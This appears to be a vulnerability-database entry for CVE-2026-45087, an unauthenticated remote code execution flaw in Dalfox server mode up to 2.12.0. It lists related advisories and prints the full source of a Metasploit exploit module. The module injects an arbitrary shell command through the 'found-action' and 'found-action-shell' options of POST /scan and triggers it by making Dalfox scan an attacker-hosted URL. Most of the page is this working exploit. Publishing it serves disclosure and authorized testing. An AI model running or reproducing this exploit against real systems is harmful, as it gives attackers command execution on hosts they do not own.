📄 Dalfox Found-Action Deserialization Remote Code Execution

🗓️ 25 Jun 2026 00:00:00Reported by Emmanuel David, Takahiro YokoyamaType

Dalfox up to version 2.12.0 in server mode enables remote code execution via deserialized actions from unauthenticated POST /scan.

Reporter	Title	Published	Views	Family All 15
ATTACKERKB	CVE-2026-45087	27 May 202617:34	–	attackerkb
Circl	CVE-2026-45087	7 May 202613:30	–	circl
CNNVD	dalfox 访问控制错误漏洞	27 May 202600:00	–	cnnvd
CVE	CVE-2026-45087	27 May 202617:34	–	cve
Cvelist	CVE-2026-45087 Dalfox: Unauthenticated Remote Code Execution via `found-action` in Dalfox Server Mode	27 May 202617:34	–	cvelist
EUVD	EUVD-2026-32615	27 May 202617:34	–	euvd
Github Security Blog	Dalfox Server Mode Vulnerable to Unauthenticated Remote Code Execution via `found-action`	12 May 202615:07	–	github
Metasploit	Dalfox Found-Action Deserialization RCE	25 Jun 202619:05	–	metasploit
NVD	CVE-2026-45087	27 May 202618:16	–	nvd
OSV	GHSA-V25V-M36W-JP4H Dalfox Server Mode Vulnerable to Unauthenticated Remote Code Execution via `found-action`	12 May 202615:07	–	osv

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HttpServer
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Dalfox Found-Action Deserialization RCE',
            'Description' => %q{
              When dalfox version <= 2.12.0 is started in REST API server mode (dalfox server),
              the server binds to 0.0.0.0:6664 by default and requires no API key unless the operator explicitly passes --api-key.
              Because model.Options - including FoundAction and FoundActionShell - is deserialized directly from attacker-supplied JSON in POST /scan,
              and because dalfox.Initialize explicitly propagates those two fields into the final scan options without stripping them,
              any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute on the host whenever a scan finding is triggered.
            },
            'Author' => [
              'Emmanuel David',   # Vulnerability discovery and PoC
              'Takahiro Yokoyama' # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-45087'],
              ['GHSA', 'v25v-m36w-jp4h'],
            ],
            'Targets' => [
              [
                'Linux Command', {
                  'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd
                }
              ],
            ],
            'DefaultOptions' => {
              'FETCH_DELETE' => true,
              'SRVPORT' => 8081,
              'RPORT' => 6664
            },
            'DefaultTarget' => 0,
            'Payload' => {
              'BadChars' => '"'
            },
            'Stance' => Msf::Exploit::Stance::Aggressive,
            'DisclosureDate' => '2026-05-07',
            'Notes' => {
              'Stability' => [ CRASH_SAFE, ],
              'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
              'Reliability' => [ REPEATABLE_SESSION, ]
            }
          )
        )
    
        register_advanced_options([
          OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
        ])
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'swagger/index.html')
        })
        return Exploit::CheckCode::Unknown('Could not detect the dalfox.') unless res&.code == 200
    
        Exploit::CheckCode::Appears('Dalfox detected.')
      end
    
      def on_request_uri(cli, request)
        send_response(cli, "<html><body>#{request.resource}</body></html>")
      end
    
      def primer
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'scan'),
          'headers' => { 'Content-Type' => 'application/json' },
          'data' => {
            'url' => get_uri,
            'options' => {
              'found-action' => payload.encode,
              'found-action-shell' => 'bash',
              'use-headless' => false,
              'worker' => 1,
              'limit-result' => 1
            }
          }.to_json
        })
        fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 200
      end
    
      def exploit
        Timeout.timeout(datastore['HTTPDELAY']) { super }
      rescue Timeout::Error
        # When the server stops due to our timeout, this is raised
      end
    
    end

25 Jun 2026 00:00Current

6Medium risk

Vulners AI Score6

CVSS 3.110

EPSS0.0032

SSVC